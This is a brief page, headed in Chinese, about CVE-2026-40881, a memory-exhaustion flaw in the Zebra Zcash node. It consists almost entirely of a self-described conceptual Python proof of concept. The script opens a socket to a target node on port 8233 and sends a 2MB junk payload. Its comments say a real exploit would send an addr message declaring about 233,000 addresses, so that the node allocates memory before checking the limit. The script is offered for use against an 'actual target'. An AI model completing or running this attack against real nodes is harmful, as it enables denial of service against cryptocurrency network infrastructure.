CVE-2026-40881 ZEBRA节点内存耗尽漏洞

import socket import struct import time # Conceptual PoC for CVE-2026-40881 # This script attempts to simulate sending a large 'addr' message to a Zcash node. # Note: Actual implementation requires Zcash network protocol serialization. def send_malicious_addr_message(target_ip, target_port): try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Perform basic handshake if necessary (omitted for brevity) print("[*] Sending crafted message with large address vector...") # In a real exploit, this would be a valid Zcash message header # followed by a vector count of ~233,000 and dummy address data. # This causes the node to allocate memory before checking the limit. # Simulating a large payload (Conceptual) large_payload = b"\x00" * (2 * 1024 * 1024) # 2MB payload s.sendall(large_payload) print("[+] Payload sent. Check target node status for OOM.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "127.0.0.1" # Replace with actual target port = 8233 # Default Zcash P2P port send_malicious_addr_message(target, port)